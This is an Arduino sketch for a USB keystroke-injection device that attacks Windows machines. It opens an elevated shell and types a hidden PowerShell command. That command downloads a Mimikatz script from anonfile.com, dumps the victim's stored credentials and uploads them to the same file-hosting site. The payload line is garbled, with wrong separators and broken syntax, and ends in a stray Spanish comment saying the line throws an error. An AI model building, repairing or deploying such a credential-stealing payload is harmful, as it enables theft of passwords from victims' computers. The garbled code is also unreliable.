#include "Keyboard.h"
void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
/* Init function */
void setup()
{
// Begining the Keyboard stream
Keyboard.begin();
// Wait 500ms
delay(500);
delay(3000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell Start/Process cmd /Verb runAs");
typeKey(KEY_RETURN);
delay(3000);
typeKey(KEY_LEFT_ARROW);
typeKey(KEY_RETURN);
delay(2000);
Keyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass /c @IEXNew/Obj
ect Net.WebClient(.DownloadString-https>&&anonfile.com&gc75g184n3&mimikats.ps1?
txt-(<$o)Invoke/Mimikatz /DumpCreds<New/Object Net.WebClient(.UploadString-htt
ps>&&anonfile.com&kd7dgc8fnb&mimikats.php?txt-,$o(@^exit");aqui en exit me marca error en esta linea
typeKey(KEY_RETURN);
// Ending stream
Keyboard.end();
}
/* Unused endless loop */
void loop() {}